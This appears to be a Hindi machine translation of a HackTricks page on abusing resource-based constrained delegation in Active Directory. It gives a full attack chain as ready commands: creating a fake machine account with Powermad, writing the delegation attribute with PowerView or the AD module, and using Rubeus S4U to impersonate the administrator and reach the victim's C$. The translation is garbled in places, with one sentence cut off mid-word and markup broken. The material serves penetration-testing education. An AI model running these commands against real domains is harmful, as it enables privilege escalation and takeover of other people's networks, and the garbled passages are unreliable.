hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

17 KiB

संसाधन-आधारित सीमित अधिकार

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

संसाधन-आधारित सीमित अधिकार की मूल बातें

यह मूल रूप से सीमित अधिकार की तरह है, लेकिन इसमें किसी वस्तु को किसी सेवा के खिलाफ किसी उपयोगकर्ता का अभिनय करने की अनुमति देने की बजाय, संसाधन-आधारित सीमित अधिकार निर्धारित करता है कि कौन संदर्भ में किसी उपयोगकर्ता का अभिनय कर सकता है

इस मामले में, सीमित वस्तु में msDS-AllowedToActOnBehalfOfOtherIdentity नामक एक गुण होगा, जिसमें उस उपयोगकर्ता का नाम होगा जो उसके खिलाफ किसी अन्य उपयोगकर्ता का अभिनय कर सकता है।

इस सीमित अधिकार से इसके अन्य अधिकारों की तुलना में एक महत्वपूर्ण अंतर यह है कि किसी मशीन खाते पर लिखने की अनुमति वाले किसी भी उपयोगकर्ता (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) msDS-AllowedToActOnBehalfOfOtherIdentity को सेट कर सकता है (अन्य अधिकारों के रूप में आपको डोमेन व्यवस्थापक अधिकार चाहिए थे)।

नए अवधारणाएं

सीमित अधिकार में यह कहा गया था कि उपयोगकर्ता के userAccountControl मान के भीतर TrustedToAuthForDelegation ध्वज की आवश्यकता होती है एक S4U2Self करने के लिए। लेकिन यह पूर्णतः सच नहीं है।
वास्तविकता यह है कि उस मान के बिना भी, आप एक सेवा (एक SPN होने के साथ) होने की स्थिति में किसी भी उपयोगकर्ता के खिलाफ एक S4U2Self कर सकते हैं, लेकिन अगर आपके पास TrustedToAuthForDelegation ध्वज है तो वापस मिलने वाला TGS Forwardable होगा और अगर आपके पास वह ध्वज नहीं है तो वापस मिलने वाला TGS Forwardable नहीं होगा।

हालांकि, यदि S4U2Proxy में उपयोग किए जाने वाले TGS में Forwardable नहीं होता है, तो एक मूल सीमित अधिकार का दुरुपयोग करने का प्रयास काम नहीं करेगा। लेकिन यदि आप संसाधन-आधारित सीमित अधिकार का उपयोग करने का प्रयास कर रहे हैं, तो यह काम करेगा (यह कोई संकटन नहीं है, यह एक सुविधा है, जाहिर है)।

हमला संरचना

यदि आपके पास किसी कंप्यूटर खाते पर लिखने के समकक्ष अधिकार हैं, तो आप उस मशीन में विशेषाधिकार प्राप्त कर सकते हैं।

मान लें कि हमलावार के पास पहले से ही विक्टिम कंप्यूटर पर लिखने के समकक्ष अधिकार हैं।

  1. हमलावार एक खाता को संक्रमित करता है जिसमें एक SPN होता है या एक खाता बनाता है ("सेवा A")। ध्यान दें कि कोई भी व्यवस्थापक उपयोगकर्ता किसी अन्य विशेष अधिकार के बिना तकनीकी अधिकार के रूप में उपयोग कर सकता है तकरीबन 10 **कंप्यू
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

हमला

एक कंप्यूटर ऑब्जेक्ट बनाना

आप powermad का उपयोग करके डोमेन के अंदर एक कंप्यूटर ऑब्जेक्ट बना सकते हैं**:**

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Get-DomainComputer SERVICEA #Check if created if you have powerview

Rसंसाधन-आधारित सीमित अधिकार निर्देशित करना

activedirectory PowerShell मॉड्यूल का उपयोग करें

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

पावरव्यू का उपयोग करें

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

पूर्ण S4U हमला करना

सबसे पहले, हमने 123456 पासवर्ड के साथ नया कंप्यूटर ऑब्जेक्ट बनाया है, इसलिए हमें उस पासवर्ड के हैश की आवश्यकता है:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

यह खाते के लिए RC4 और AES हैश प्रिंट करेगा। अब, हम हमला कर सकते हैं:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

आप Rubeus के /altservice पैरामीटर का उपयोग करके केवल एक बार पूछकर अधिक टिकट उत्पन्न कर सकते हैं:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

{% hint style="danger" %} ध्यान दें कि उपयोगकर्ताओं में "डेलीगेट नहीं किया जा सकता" नामक एक गुण होता है। यदि किसी उपयोगकर्ता के पास यह गुण सत्य है, तो आप उसकी अनुकरण नहीं कर पाएंगे। यह गुण bloodhound के अंदर देखा जा सकता है। {% endhint %}

पहुंच

अंतिम कमांड लाइन पूर्ण S4U हमला करेगा और TGS को विक्टिम होस्ट में मेमोरी में इंजेक्ट करेगा
इस उदाहरण में Administrator से CIFS सेवा के लिए एक TGS का अनुरोध किया गया था, इसलिए आप C$ तक पहुंच सकेंगे।

ls \\victim.domain.local\C$

विभिन्न सेवा टिकट का दुरुपयोग करें

यहां उपलब्ध सेवा टिकट के बारे में जानें.

केरबेरोस त्रुटियाँ

  • KDC_ERR_ETYPE_NOTSUPP: इसका अर्थ है कि केरबेरोस को डीईएस या आरसी4 का उपयोग नहीं करने के लिए कॉन्फ़िगर किया गया है और आप केवल आरसी4 हैश प्रदान कर रहे हैं। Rubeus को कम से कम AES256 हैश (या बस आरसी4, एएस128 और एएस256 हैश) प्रदान करें। उदाहरण: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
  • KRB_AP_ERR_SKEW: इसका अर्थ है कि वर्तमान कंप्यूटर का समय DC के समय से अलग है और केरबेरोस सही तरीके से काम नहीं कर रहा है।
  • preauth_failed: इसका अर्थ है कि दिए गए उपयोगकर्ता नाम + हैश लॉगिन करने के लिए काम नहीं कर रहे हैं। आपने हैश उत्पन्न करते समय उपयोगकर्ता नाम में "" डालना भूल गए हो सकता है (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER /domain:domain.local`)
  • KDC_ERR_BADOPTION: इसका अर्थ हो सकता है:
  • आप उस उपयोगकर्ता को अनुकरण नहीं कर सकते हैं जिसका आप अनुकरण करने का प्रयास कर रहे हैं (क्योंकि आप उसे अनुकरण नहीं कर सकते हैं या यह पर्याप्त विशेषाधिकार नहीं है)
  • अनुरोधित सेवा मौजूद नहीं है (यदि आप विनर्म के लिए टिकट मांगते हैं लेकिन विनर्म नहीं चल रहा है)
  • बनाया गया फेक कंप्यूटर विकल्पी सर्वर पर अपने विशेषाधिकारों को खो चुका है और आपको उन्हें वापस देने की आवश्यकता है।

संदर्भ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? सदस्यता योजनाएं की जांच करें!
  • The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह
  • आधिकारिक PEASS & HackTricks swag प्राप्त करें
  • शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे Twitter 🐦@carlospolopm** का** अनुसरण करें।**
  • अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से hacktricks repo और hacktricks-cloud repo को सबमिट करके।